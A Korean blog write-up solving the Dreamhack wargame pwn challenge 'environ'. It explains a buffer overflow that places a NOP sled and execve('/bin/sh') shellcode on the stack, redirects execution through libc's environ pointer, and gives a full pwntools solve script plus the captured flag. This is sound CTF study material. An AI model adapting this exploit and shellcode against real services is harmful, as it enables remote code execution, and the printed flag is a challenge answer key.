콘텐츠로 건너뛰기

environ

Description

이 문제는 작동하고 있는 서비스(environ)의 바이너리와 소스코드가 주어집니다.
Environ ptr 기법을 통해 스택 주소를 유출하고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

checksec

seo@seo:~/Desktop/environ$ checksec ./environ
[*] '/home/seo/Desktop/environ/environ'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments

스택에 실행 권한이 있다.

Decompiled-src

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t nbytes; // [rsp+8h] [rbp-38h] BYREF
  void (**v5)(void); // [rsp+10h] [rbp-30h] BYREF
  char buf[24]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  initialize(argc, argv, envp);
  printf("stdout: %p\n", stdout);
  printf("Size: ");
  __isoc99_scanf("%ld", &nbytes);
  printf("Data: ");
  read(0, buf, nbytes);
  printf("*jmp=");
  __isoc99_scanf("%ld", &v5);
  (*v5)();
  return 0;
}

stdout 주소값을 출력하고,
Size를 입력받아 buf에 Size 크기만큼 입력받는다.

여기서 buf 크기는 24바이트만큼 할당되어있고,
원하는 크기만큼 buf를 채울 수 있으므로 버퍼 오버플로우를 발생시킬 수 있다.

그리고 “*jmp=”를 출력하고, 주소를 10진수로 입력받는데,
입력받은 주소에서 한번 참조한 주소를 호출하게 된다.

Solution

buf를 libc’s environ에 적혀있는 주소까지 더미로 채운뒤, 그 뒤에 쉘코드를 삽입한다.
로컬 환경에서 봤을때 buf는 0x0007FFE7DEF16B0,
libc’s environ에 적혀있는 주소가 0x00007FFE7DEF17F8이므로,

>>> hex(0x00007FFE7DEF17F8 – 0x0007FFE7DEF16B0)
‘0x148’

0x148만큼 더미로 채우면 될 것이다.

그 다음에 “*jmp=”를 출력하고, 주소를 10진수로 입력받는데,
libc’s environ 주소를 입력하여
입력받은 주소에서 한번 참조한 주소를 호출하게 되는데, 이때 쉘코드가 실행된다.

처음에 stdout 주소값을 출력해주기 때문에 libc base 주소 또한 쉽게 구할 수 있다.

solve.py

buf를 libc’s environ에 적혀있는 주소까지 더미로 채워야되는데,
서버 환경에서는 어디까지인지 모르므로 대충 0x200만큼 nop sled로 채우고 쉘코드를 삽입하면 된다.

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

#local
# p = process("./environ")
# e = ELF("./environ", checksec=False)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)

#server
p = remote("host3.dreamhack.games", "17929")
e = ELF("./environ", checksec=False)
libc = ELF("./libc.so.6", checksec=False)

stdout = p.recvline()
stdout = stdout.split(b"stdout: ")[1]
stdout = stdout.split(b"\n")[0]
stdout = int(stdout, 16)
print(f"stdout: {hex(stdout)}")
libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]
print(f"libc_base: {hex(libc_base)}")

#payload = b"\x41"*0x148 #local
payload = b"\x90"*0x200 #nop sled, server
payload += asm(shellcraft.execve("/bin/sh", 0, 0))
p.sendlineafter ("Size: ", str(len(payload)))
p.sendlineafter("Data: ", payload)
p.sendlineafter("*jmp=", str(libc_base + libc.symbols["environ"]))

p.interactive()

Result

seo@seo:~/Desktop/environ$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 17929: Done
stdout: 0x7fe2089ee620
libc_base: 0x7fe208629000
[*] Switching to interactive mode
$ ls
environ
flag
$ cat flag
DH{209478d89c920b8dfe2dee61f9bc1dcc}$
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 17929
태그:

답글 남기기